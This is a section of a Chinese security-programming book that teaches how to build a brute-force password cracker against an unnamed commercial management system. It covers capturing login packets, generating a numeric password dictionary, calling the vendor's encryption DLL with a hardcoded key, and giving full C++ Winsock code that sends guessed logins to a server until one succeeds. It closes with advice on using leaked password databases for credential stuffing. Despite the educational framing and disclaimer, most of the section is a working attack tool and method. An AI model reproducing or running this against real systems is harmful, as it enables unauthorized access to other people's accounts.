C++ 黑客编程揭秘与防范(第3版)
上QQ阅读APP看书,第一时间看更新

2.2.3 密码暴力猜解剖析

前面学习了关于Winsock编程方面的基础API函数,前面的两个例子把学习过的关于Winsock的API函数基本使用流程进行了梳理,完成了简单的基于TCP和UDP的服务器端与客户端程序通信。这些看似简单的函数感觉可能用处不大,但是现在用这些简单的Winsock函数来完成一个密码暴力猜解的黑客工具来感受一下刚才所学知识的用处。

1.软件编写前的相关说明

信息化的时代使得ERP系统、MIS多如牛毛。很多公司都在使用OA系统(办公自动化系统),还有很多公司使用财务、业务等相关的管理信息系统软件或ERP系统软件。其中不少大、中型的管理信息系统软件、ERP软件价格非常昂贵,但是安全性设计却不是很好。

这次针对获取某大型MIS的用户登录密码来设计开发一个暴力猜解工具。这个MIS价格非常昂贵,但是安全性设计并不好。通过分析该MIS登录时网络传输的数据来设计这个工具。

:由于该MIS属于商业软件,这里就不给出该MIS的名字了。这里给出这个例子完全是为了学习安全编程知识,请勿非法使用给他人造成损失,如有问题属个人行为,与作者及出版社无关。

2.登录封包的解析

每个MIS都有一个登录界面,输入用户名和对应的密码后就可以登录了。如果用户名和密码都正确,就成功登录,否则登录失败。那么在登录时,系统做了些什么事情呢?首先,登录时客户端的登录界面会把用户名和密码发送给服务器;然后服务器会在数据库中匹配用户名和密码是否有效,如果有效则发送登录成功的消息允许客户端进入系统,如果登录失败则发送消息拒绝客户端进行登录;最后,客户端接收到服务器发来的消息来完成登录,或者是提示密码错误。

确定了登录的过程就可以开始准备工作了,首先确定登录时客户端发送了什么样的数据给服务器,其次就是服务器传回什么样的数据给客户端。只要确定了这两个动作的数据,就能猜解出一对有效的用户名和密码了。

如何获取客户端发出的数据、服务器发回的数据呢?这里使用WPE Pro工具,该工具是通过将DLL文件注入目标进程中,然后hook send()、recv()、WSASend()和WSARecv()四个Winsock函数来截取封包的。该工具如图2-1所示。

图2-1 WPE Pro工具界面

打开MIS系统停留在登录界面处,然后使用WPE选中MIS系统的进程,选择方法是单击WPE工具栏上的“目标程序”,在出现的“选择目标程序”中选择MIS系统的进程,如图2-2所示。

图2-2 “选择目标程序”界面

打开要抓包的进程后,就开始进行抓包,单击工具栏上的“开始”按钮等待抓包,如图2-3所示。

图2-3 “开始”抓包

在WPE等待抓包的时候,在MIS系统上输入用户名和密码,然后登录,WPE就抓取到了很多相关的登录数据,在MIS系统正式进入系统时单击WPE的“停止”按钮,然后就可以看到很多的抓包数据了。当然,如果登录失败的话,也会抓取到很多数据包,当提示“登录失败”时单击WPE的“停止”按钮,然后也可以看到很多的抓包数据。这里给出登录成功后的抓包数据,也如图2-4所示。

图2-4 WPE针对MIS系统的抓包截图

在如此之多的数据包中,只要查看前两个就可以了。第1个数据包是登录信息,包含用户名和密码(第1行数据包是发送包,在抓包信息的最后一列可以看出),第2个数据包是返回是否登录成功的信息(第2行数据包是接受包,在抓包信息的最后一列可以看出)。只要分析前两个数据包就可以完成“密码暴力猜解”的工具了。下面来看一下第一个数据包和第二个数据包的内容,如图2-5和图2-6所示。

图2-5 登录发包内容

图2-6 登录收包内容

图2-5中标出了整个数据包中关键的内容和需要修改的内容,下面来说说这几部分的内容。

在图2-5中,选中的第一部分是“Content-Length:601”,这里的601指定了该数据包的长度。由于用户名和密码的长度是可改变的,因此这里的值是计算出来的。那么这个值应该如何计算呢?其实很简单,用当前包的长度减去用户名的长度和密码的长度,就得到该数据包的一个基数。当前数据包的长度为601,用户名“010683”的长度为6,加密后的密码“C6YOvp+W5ok=”的长度为12,那么601-6-12=583。

在图2-5中,选中的第二部分是MIS系统的用户名,每次把要猜解密码的用户名替换到这里就可以。图2-5中,选中的第3部分是一些无法表示出来的字符(其实并不是这些字符无法显示,而是抓包工具无法处理某些字符编码方式导致),将这部分直接使用十六进制定义出来,然后添加到数据包中。图2-5中,选中的第四部分是登录时的密码,这部分算是猜解密码的关键。测试的密码,需要使用“字典”工具生成一个密码字典(就是一个包含各种字符串的文本文件),然后不断替换密码,发送登录数据包,判断接收到的返回包,看其是否有登录成功的状态,如果有就在屏幕上显示出能够登录成功的密码,如果没有则继续替换密码再次发送登录数据包。登录密码是加密后的密码,需要知道加密算法和加密密钥。该MIS系统是直接调用第三方的加密库函数,而加密的密钥需要自己去找。为了保证知识的连贯性,关于如何找到密码的加密密钥,这里不做介绍。

图2-6中选中的部分是登录是否成功的状态,登录成功为true,登录失败则为false。这是猜解密码是否成功的重要标志,判断该值的方法比较简单,就不做过多说明,具体在代码中会有体现。

关于登录发送的数据包和登录返回的状态数据包都已经了解完了,将这两部分定义为C语言中的数组以方便以后使用,具体定义如图2-7所示。

图2-7 封包的C语言形式定义

3.字典文件的生成

小时候有种游戏是“猜数游戏”,一个人心里想1~10的一个数,另一个人猜这个数字,如果猜对了就会告诉他猜对了,如果猜错了会告诉他猜错了,猜的人需要继续猜。猜解别人账号的密码也是类似,但是自己猜解密码要有一个范围,比如说密码的长度等范围。

这里出于演示,为了让猜解的速度尽可能快,选择的猜解的密码长度为6位,密码的组合为纯数字。6位的纯数字的组合排列个数为1000000个。使用“字典生成工具”来生成一个字典文件,这里使用的字典生成工具的名字是“易优软件—超级字典生成器V3.2”,该软件的界面如图2-8所示。将数字部分全部选中,如图2-8所示。然后选择“生成字典”选项卡,选中密码位数为6位,选择字典文件的路径,单击“生成字典”按钮将生成字典,如图2-9所示。这样就生成了一个大小为7.62 MB的字典文件。

图2-8 字典生成工具

图2-9 字典生成

4.加密库的使用

在MIS系统中,有一个des64.dll文件,对密码进行加密的加密算法就在该DLL文件中。该DLL文件有一个导出函数名为b64_des(),只要在程序中调用该函数对密码进行加密后,就可以将加密后的密码填充到登录的数据包中进行发送了。

如何使用这个函数呢?如何使用DLL文件呢?通常有两种情况可以来使用这个DLL文件,一种方式是隐式调用,另一种方法是显式调用。使用隐式调用一般除了DLL文件以外,还需要有函数导出信息库.lib文件和一个函数定义的头文件。当然,这里并没有提供Lib文件和头文件,只能使用显式调用的方法。Windows系统提供了两个API函数,方便用户显式调用DLL文件里的函数,这两个函数分别为LoadLibrary()和GetProcAddress()。下面来介绍这两个函数的使用。

LoadLibrary()函数的定义如下:

        HMODULE LoadLibrary(LPCTSTR lpFileName);

该函数的作用是加载一个DLL文件到进程的地址空间中,该函数的参数lpFileName指定一个DLL文件的路径。函数的返回值是返回一个模块句柄,以便通过模块句柄对DLL文件进行操作。

GetProcAddress()函数的定义如下:

        FARPROC GetProcAddress(HMODULE hModule, LPCSTR lpProcName);

该函数的作用是获取指定模块中的导出函数的地址。该函数有两个参数,第一个参数hModule指定获取函数所在模块的句柄,第二个参数lpProcName指定导出函数的函数名。该函数返回成功将得到一个模块中导出函数的地址,通过该地址就可以使用该函数。关于DLL文件的编写及调用,在后面的章节中仍然会提到。

5.猜解程序的实现

前面对密码猜解已经有了详细的介绍,猜解程序的准备工作都已经做好了,猜解程序的基础知识也都掌握了。现在,新建一个支持MFC的Console Appcation的应用程序,然后进行最后的编码工作:

        int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
        {
              int nRetCode = 0;

            // socket的建立及与服务器的连接
            WSAData wsaData;
            WSAStartup(MAKEWORD(2, 2), &wsaData);

            SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

            sockaddr_in sockAddr;
            sockAddr.sin_addr.S_un.S_addr = inet_addr("192.168.0.252");
            sockAddr.sin_port = htons(8001);
            sockAddr.sin_family = PF_INET;

            int b = connect(s, (SOCKADDR *)&sockAddr, sizeof(sockAddr));

            // 加载des64.dll文件
            char szCurrentPath[MAX_PATH] = { 0 };
            HINSTANCE hMod = NULL;
            PROC des64Proc = NULL;
            GetCurrentDirectory(MAX_PATH, szCurrentPath);

            strcat(szCurrentPath, "\\des64.dll");
    hMod = LoadLibrary(szCurrentPath);
    des64Proc = GetProcAddress(hMod, "b64_des");

    // 获取字典文件
    GetCurrentDirectory(MAX_PATH, szCurrentPath);
    strcat(szCurrentPath, "\\superdic.txt");

    FILE *pFile = fopen(szCurrentPath, "r");

    if ( pFile == NULL )
    {
        printf("fopen error. \r\n");
        return -1;
    }

    CString csPacket;                       // 保存封包内容
    char szPwd[MAXBYTE] = { 0 };          // 保存账号
    char szUser[MAXBYTE] = { 0 };        // 保存密码

    printf("请输入你要破解的工号: ");
    scanf("%s", szUser);

    printf("正在破解请稍候... \r\n");

    DWORD dwStart = GetTickCount();

    int i = 1;

    while ( !feof(pFile) )
    {
        // 读取字典中的密码
        fgets(szPwd, 7, pFile);
        szPwd[6] = NULL;

        int nPassLen = strlen(szPwd);
        char *szKey = "SZTHZWG";
        char szBuf[MAXBYTE] = { 0 };
        char *pszBuf = szBuf;
        char szBufPass[MAXBYTE] = { 0 };
        char *pszBufPass = szBufPass;
        char *pszPassnew = szPwd;

        // 对密码进行加密
        __asm
        {
            push 1
            push nPassLen        // 加密前字符串长度
            push szKey            // 密钥
            push pszBufPass      // 保存加密后的字符串
            push pszPassnew      // 原密码字符串
            call des64Proc
        }

        // 构造字符串

        csPacket.Format(szPacket,583+strlen(szUser)+strlen(pszBufPass),szUser,szShel-
        lCode, pszBufPass);

        // 密码破解
        char szRecvBuffer[1024] = { 0 };
        // 发送登录数据包
        b = send(s, csPacket.GetBuffer(0), csPacket.GetLength(), 0);
        // 接收登录反馈包
        recv(s, szRecvBuffer, 1024, 0);

        CString strRecv;
                  strRecv = szRecvBuffer;
                  // 查找反馈包中是否有“true”
                  int bRet = strRecv.Find("true", 0);

                  // bRet不为-1,则说明登录成功
                  // 登录成功,调用cout输出密码
                  if ( bRet != -1 )
                  {
                      cout << endl;
                      cout << "该工号对应密码为: " << szPwd << endl;
                      break;
                  }
              }
              DWORD dwEnd = GetTickCount();

              DWORD dwTimed = dwEnd - dwStart;

              printf("所需时间为: %d.%d秒\r\n", dwTimed / 1000, dwTimed % 1000);

              if ( pFile != NULL )
              {
                  fclose(pFile);
                  pFile = NULL;
              }

              closesocket(s);

              WSACleanup();

              getchar();
              getchar();

              return nRetCode;
          }

代码中有2个陌生的函数,分别是GetCurrentDirectory()和GetTickCount(),第1个函数是获取当前目录,第2个函数用来获取从开机启动到现在经过的毫秒数。

获得当前目录的函数定义如下:

        DWORD GetCurrentDirectory(DWORD nBufferLength, LPTSTR lpBuffer);

获取从开机启动到现在经过的毫秒数的函数定义如下:

        DWORD GetTickCount(VOID);

在整个代码中有一部分嵌入了汇编代码,在C或C++的代码中使用了汇编代码,通常称之为“内联汇编”。内联汇编代码如下:

        __asm
        {
            push 1
            push nPassLen        // 加密前字符串长度
            push szKey            // 密钥
            push pszBufPass      // 保存加密后的字符串
            push pszPassnew      // 原密码字符串
            call des64Proc
        }

这里的代码是直接通过调试获得的,这样写比较简便,不需要进行额外的函数声明,该写法属于个人的习惯。调用该des64.dll文件中的b64_des()函数时,笔者并没有该函数的使用方法,因此该函数的使用方法需要进行动态调试那套商业系统登录时对该函数的调用方式,这就涉及了逆向相关的知识。该部分知识在后面进行介绍。

将字典文件和des64.dll文件放置在与本书程序相同的目录下运行程序,运行后的破解结果如图2-10和图2-11所示。

图2-10 破解演示结果(一)

图2-11 破解演示结果(二)

这种暴力破解是很花费时间的,而且在某种程度上通过字典生成的密码并不合理和科学,因为字典生成的密码只是一些序列的组合(比如字母、数字等组合),并不代表真正的密码,这样会做很多没有意义的工作,导致效率更加低下。在2011年年底CSDN的账号和密码在网上被“曝”之后,陆续有各大网站的数据库被“曝”。被“曝”的这部分密码就非常有价值。在进行密码暴力破解时,它们是真正被人使用的密码,而非是字典生成的字符串组合,这些密码更科学,在进行暴力破解时会更有效。在各种数据库被“曝”之后,用现有的密码去其他的系统进行“撞库”也会有一定的几率获得系统的账号和密码。因此,在设置密码上,除了密码的复杂性以外,将不同的账号设定为不同的密码,如果有一天某个账号的密码不慎被“曝”,自己也可以清楚的指导是哪个账号的密码出现了问题。